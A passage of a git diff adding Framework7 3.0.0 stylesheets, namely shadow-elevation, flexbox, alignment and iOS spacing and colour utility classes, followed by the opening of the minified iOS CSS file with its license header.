-webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-21:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-22:hover { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-23:hover { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-24:hover { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-0, +.device-desktop .active-state.elevation-pressed-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.active-state.elevation-pressed-1, +.device-desktop .active-state.elevation-pressed-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-2, +.device-desktop .active-state.elevation-pressed-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-3, +.device-desktop .active-state.elevation-pressed-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-4, +.device-desktop .active-state.elevation-pressed-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-5, +.device-desktop .active-state.elevation-pressed-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-6, +.device-desktop .active-state.elevation-pressed-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-7, +.device-desktop .active-state.elevation-pressed-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-8, +.device-desktop .active-state.elevation-pressed-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-9, +.device-desktop .active-state.elevation-pressed-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-10, +.device-desktop .active-state.elevation-pressed-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-11, +.device-desktop .active-state.elevation-pressed-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-12, +.device-desktop .active-state.elevation-pressed-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-13, +.device-desktop .active-state.elevation-pressed-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-14, +.device-desktop .active-state.elevation-pressed-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-15, +.device-desktop .active-state.elevation-pressed-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-16, +.device-desktop .active-state.elevation-pressed-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-17, +.device-desktop .active-state.elevation-pressed-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-18, +.device-desktop .active-state.elevation-pressed-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-19, +.device-desktop .active-state.elevation-pressed-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-20, +.device-desktop .active-state.elevation-pressed-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-21, +.device-desktop .active-state.elevation-pressed-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-22, +.device-desktop .active-state.elevation-pressed-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-23, +.device-desktop .active-state.elevation-pressed-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-24, +.device-desktop .active-state.elevation-pressed-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-transition-100 { + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition, +.elevation-transition-200 { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-300 { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-400 { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-500 { + -webkit-transition-duration: 500ms; + transition-duration: 500ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +/* === Typography === */ +.display-flex { + display: -webkit-box !important; + display: -webkit-flex !important; + display: -ms-flexbox !important; + display: flex !important; +} +.display-block { + display: block !important; +} +.display-inline-flex { + display: -webkit-inline-box !important; + display: -webkit-inline-flex !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} +.display-inline-block { + display: inline-block !important; +} +.display-inline { + display: inline !important; +} +.display-none { + display: none !important; +} +.flex-shrink-0 { + -webkit-flex-shrink: 0 !important; + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} +.flex-shrink-1 { + -webkit-flex-shrink: 1 !important; + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} +.flex-shrink-2 { + -webkit-flex-shrink: 2 !important; + -ms-flex-negative: 2 !important; + flex-shrink: 2 !important; +} +.flex-shrink-3 { + -webkit-flex-shrink: 3 !important; + -ms-flex-negative: 3 !important; + flex-shrink: 3 !important; +} +.flex-shrink-4 { + -webkit-flex-shrink: 4 !important; + -ms-flex-negative: 4 !important; + flex-shrink: 4 !important; +} +.flex-shrink-5 { + -webkit-flex-shrink: 5 !important; + -ms-flex-negative: 5 !important; + flex-shrink: 5 !important; +} +.flex-shrink-6 { + -webkit-flex-shrink: 6 !important; + -ms-flex-negative: 6 !important; + flex-shrink: 6 !important; +} +.flex-shrink-7 { + -webkit-flex-shrink: 7 !important; + -ms-flex-negative: 7 !important; + flex-shrink: 7 !important; +} +.flex-shrink-8 { + -webkit-flex-shrink: 8 !important; + -ms-flex-negative: 8 !important; + flex-shrink: 8 !important; +} +.flex-shrink-9 { + -webkit-flex-shrink: 9 !important; + -ms-flex-negative: 9 !important; + flex-shrink: 9 !important; +} +.flex-shrink-10 { + -webkit-flex-shrink: 10 !important; + -ms-flex-negative: 10 !important; + flex-shrink: 10 !important; +} +.justify-content-flex-start { + -webkit-box-pack: start !important; + -webkit-justify-content: flex-start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} +.justify-content-center { + -webkit-box-pack: center !important; + -webkit-justify-content: center !important; + -ms-flex-pack: center !important; + justify-content: center !important; +} +.justify-content-flex-end { + -webkit-box-pack: end !important; + -webkit-justify-content: flex-end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} +.justify-content-space-between { + -webkit-box-pack: justify !important; + -webkit-justify-content: space-between !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} +.justify-content-space-around { + -webkit-justify-content: space-around !important; + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} +.justify-content-space-evenly { + -webkit-box-pack: space-evenly !important; + -webkit-justify-content: space-evenly !important; + -ms-flex-pack: space-evenly !important; + justify-content: space-evenly !important; +} +.justify-content-stretch { + -webkit-box-pack: stretch !important; + -webkit-justify-content: stretch !important; + -ms-flex-pack: stretch !important; + justify-content: stretch !important; +} +.justify-content-start { + -webkit-box-pack: start !important; + -webkit-justify-content: start !important; + -ms-flex-pack: start !important; + justify-content: start !important; +} +.justify-content-end { + -webkit-box-pack: end !important; + -webkit-justify-content: end !important; + -ms-flex-pack: end !important; + justify-content: end !important; +} +.justify-content-left { + -webkit-box-pack: left !important; + -webkit-justify-content: left !important; + -ms-flex-pack: left !important; + justify-content: left !important; +} +.justify-content-right { + -webkit-box-pack: right !important; + -webkit-justify-content: right !important; + -ms-flex-pack: right !important; + justify-content: right !important; +} +.align-content-flex-start { + -webkit-align-content: flex-start !important; + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} +.align-content-flex-end { + -webkit-align-content: flex-end !important; + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} +.align-content-center { + -webkit-align-content: center !important; + -ms-flex-line-pack: center !important; + align-content: center !important; +} +.align-content-space-between { + -webkit-align-content: space-between !important; + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} +.align-content-space-around { + -webkit-align-content: space-around !important; + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} +.align-content-stretch { + -webkit-align-content: stretch !important; + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} +.align-items-flex-start { + -webkit-box-align: start !important; + -webkit-align-items: flex-start !important; + -ms-flex-align: start !important; + align-items: flex-start !important; +} +.align-items-flex-end { + -webkit-box-align: end !important; + -webkit-align-items: flex-end !important; + -ms-flex-align: end !important; + align-items: flex-end !important; +} +.align-items-center { + -webkit-box-align: center !important; + -webkit-align-items: center !important; + -ms-flex-align: center !important; + align-items: center !important; +} +.align-items-stretch { + -webkit-box-align: stretch !important; + -webkit-align-items: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important; +} +.align-self-flex-start { + -webkit-align-self: flex-start !important; + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} +.align-self-flex-end { + -webkit-align-self: flex-end !important; + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} +.align-self-center { + -webkit-align-self: center !important; + -ms-flex-item-align: center !important; + align-self: center !important; +} +.align-self-stretch { + -webkit-align-self: stretch !important; + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} +.text-align-left { + text-align: left !important; +} +.text-align-center { + text-align: center !important; +} +.text-align-right { + text-align: right !important; +} +.text-align-justify { + text-align: justify !important; +} +.float-left { + float: left !important; +} +.float-right { + float: right !important; +} +.float-none { + float: none !important; +} +.vertical-align-bottom { + vertical-align: bottom !important; +} +.vertical-align-middle { + vertical-align: middle !important; +} +.vertical-align-top { + vertical-align: top !important; +} +.no-padding { + padding: 0 !important; +} +.no-padding-left { + padding-left: 0 !important; +} +.no-padding-right { + padding-right: 0 !important; +} +.no-padding-top { + padding-top: 0 !important; +} +.no-padding-bottom { + padding-bottom: 0 !important; +} +.no-margin { + margin: 0 !important; +} +.no-margin-left { + margin-left: 0 !important; +} +.no-margin-right { + margin-right: 0 !important; +} +.no-margin-top { + margin-top: 0 !important; +} +.no-margin-bottom { + margin-bottom: 0 !important; +} +.width-auto { + width: auto !important; +} +.width-100 { + width: 100% !important; +} +.ios .padding { + padding: 15px !important; +} +.ios .padding-top { + padding-top: 15px !important; +} +.ios .padding-bottom { + padding-bottom: 15px !important; +} +.ios .padding-left { + padding-left: 15px !important; +} +.ios .padding-left-ios-edge { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); +} +.ios .padding-right-ios-edge { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); +} +.ios .padding-top-ios-edge { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.ios .padding-bottom-ios-edge { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .padding-right { + padding-right: 15px !important; +} +.ios .padding-vertical { + padding-top: 15px !important; + padding-bottom: 15px !important; +} +.ios .padding-horizontal { + padding-left: 15px !important; + padding-right: 15px !important; +} +.ios .margin { + margin: 15px !important; +} +.ios .margin-top { + margin-top: 15px !important; +} +.ios .margin-bottom { + margin-bottom: 15px !important; +} +.ios .margin-left { + margin-left: 15px !important; +} +.ios .margin-right { + margin-right: 15px !important; +} +.ios .margin-vertical { + margin-top: 15px !important; + margin-bottom: 15px !important; +} +.ios .margin-horizontal { + margin-left: 15px !important; + margin-right: 15px !important; +} +.ios .text-color-red { + color: #ff3b30 !important; +} +.ios .bg-color-red { + background-color: #ff3b30 !important; +} +.ios .border-color-red { + border-color: #ff3b30 !important; +} +.ios .text-color-green { + color: #4cd964 !important; +} +.ios .bg-color-green { + background-color: #4cd964 !important; +} +.ios .border-color-green { + border-color: #4cd964 !important; +} +.ios .text-color-blue { + color: #007aff !important; +} +.ios .bg-color-blue { + background-color: #007aff !important; +} +.ios .border-color-blue { + border-color: #007aff !important; +} +.ios .text-color-pink { + color: #ff2d55 !important; +} +.ios .bg-color-pink { + background-color: #ff2d55 !important; +} +.ios .border-color-pink { + border-color: #ff2d55 !important; +} +.ios .text-color-yellow { + color: #ffcc00 !important; +} +.ios .bg-color-yellow { + background-color: #ffcc00 !important; +} +.ios .border-color-yellow { + border-color: #ffcc00 !important; +} +.ios .text-color-orange { + color: #ff9500 !important; +} +.ios .bg-color-orange { + background-color: #ff9500 !important; +} +.ios .border-color-orange { + border-color: #ff9500 !important; +} +.ios .text-color-gray { + color: #8e8e93 !important; +} +.ios .bg-color-gray { + background-color: #8e8e93 !important; +} +.ios .border-color-gray { + border-color: #8e8e93 !important; +} +.ios .text-color-white { + color: #ffffff !important; +} +.ios .bg-color-white { + background-color: #ffffff !important; +} +.ios .border-color-white { + border-color: #ffffff !important; +} +.ios .text-color-black { + color: #000000 !important; +} +.ios .bg-color-black { + background-color: #000000 !important; +} +.ios .border-color-black { + border-color: #000000 !important; +} diff --git a/framework7/css/framework7.ios.min.css b/framework7/css/framework7.ios.min.css new file mode 100644 index 0000000..4b0a54e --- /dev/null +++ b/framework7/css/framework7.ios.min.css @@ -0,0 +1,12 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +.framework7-root,body,html{position:relative;height:100%;width:100%;overflow-x:hidden}body{margin:0;padding:0;font-size:14px;width:100%;background:#fff;overflow:hidden;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased}.framework7-root{overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.framework7-initializing *,.framework7-initializing :after,.framework7-initializing :before{-webkit-transition-duration:0s!important;transition-duration:0s!important}@media (width:1024px) and (height:691px) and (orientation:landscape){.framework7-root,body,html{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.framework7-root,body,html{height:672px}}*{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none}a,input,select,textarea{outline:0}a{cursor:pointer;text-decoration:none}p{margin:1em 0}.disabled{opacity:.55!important;pointer-events:none!important}.ios body{font-family:-apple-system,SF UI Text,Helvetica Neue,Helvetica,Arial,sans-serif;color:#000;line-height:1.4}.ios .if-md,.ios .md-only{display:none!important}.ios a{color:#007aff}@media (width:1024px) and (height:691px) and (orientation:landscape){.ios,.ios .framework7-root,.ios body{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.ios,.ios .framework7-root,.ios body{height:672px}}.ios .theme-dark{color:#fff}.ios .color-theme-red a{color:#ff3b30}.ios .color-theme-green a{color:#4cd964}.ios .color-theme-blue a{color:#007aff}.ios .color-theme-pink a{color:#ff2d55}.ios .color-theme-yellow a{color:#fc0}.ios .color-theme-orange a{color:#ff9500}.ios .color-theme-gray a{color:#8e8e93}.ios .color-theme-white a{color:#fff}.ios .color-theme-black a{color:#000}.ios a.color-red{color:#ff3b30}.ios a.color-green{color:#4cd964}.ios a.color-blue{color:#007aff}.ios a.color-pink{color:#ff2d55}.ios a.color-yellow{color:#fc0}.ios a.color-orange{color:#ff9500}.ios a.color-gray{color:#8e8e93}.ios a.color-white{color:#fff}.ios a.color-black{color:#000}.statusbar{position:absolute;left:0;top:0;width:100%;z-index:10000;-webkit-box-sizing:border-box;box-sizing:border-box;display:none}html.device-ios .statusbar,html.ios:not(.device-ios):not(.device-android) .statusbar{height:20px}html.device-android .statusbar,html.md:not(.device-ios):not(.device-android) .statusbar{height:24px}html.device-ios.device-iphone-x .statusbar{height:constant(safe-area-inset-top);height:env(safe-area-inset-top)}html.with-statusbar .statusbar{display:block}html.with-statusbar.device-ios .framework7-root,html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root{padding-top:20px}html.with-statusbar.device-android .framework7-root,html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root{padding-top:24px}html.with-statusbar.device-iphone-x .framework7-root{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.ios .statusbar{background:#f7f7f8}.ios .theme-dark .statusbar{background-color:#1b1b1b}.view,.views{position:relative;height:100%;z-index:5000;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.pages{position:relative;width:100%;height:100%;overflow:hidden}.page{-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.page.stacked{display:none}.page-previous{pointer-events:none}.page-content{overflow:auto;-webkit-overflow-scrolling:touch;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;position:relative;z-index:1}.ios .page-shadow-effect{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;right:100%;background:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%)}.ios .page-opacity-effect{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000}.ios .router-dynamic-navbar-inside .page-opacity-effect,.ios .router-dynamic-navbar-inside .page-shadow-effect{top:44px}.ios .page{background:#efeff4}.ios .page-previous{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}.ios .page-next{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ios .page-previous .page-opacity-effect{opacity:1}.ios .page-previous:after{opacity:1}.ios .page-current .page-shadow-effect{opacity:1}.ios .page-transitioning,.ios .page-transitioning .page-opacity-effect,.ios .page-transitioning .page-shadow-effect{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .router-transition-backward .page-current,.ios .router-transition-backward .page-next,.ios .router-transition-backward .page-previous:not(.stacked),.ios .router-transition-forward .page-current,.ios .router-transition-forward .page-next,.ios .router-transition-forward .page-previous:not(.stacked){pointer-events:none}.ios .router-transition-css-forward .page-next{-webkit-animation:ios-page-next-to-current .4s forwards;animation:ios-page-next-to-current .4s forwards}.ios .router-transition-css-forward .page-next:before{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;right:100%;background:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);-webkit-animation:ios-page-next-to-current-shadow .4s forwards;animation:ios-page-next-to-current-shadow .4s forwards}.ios 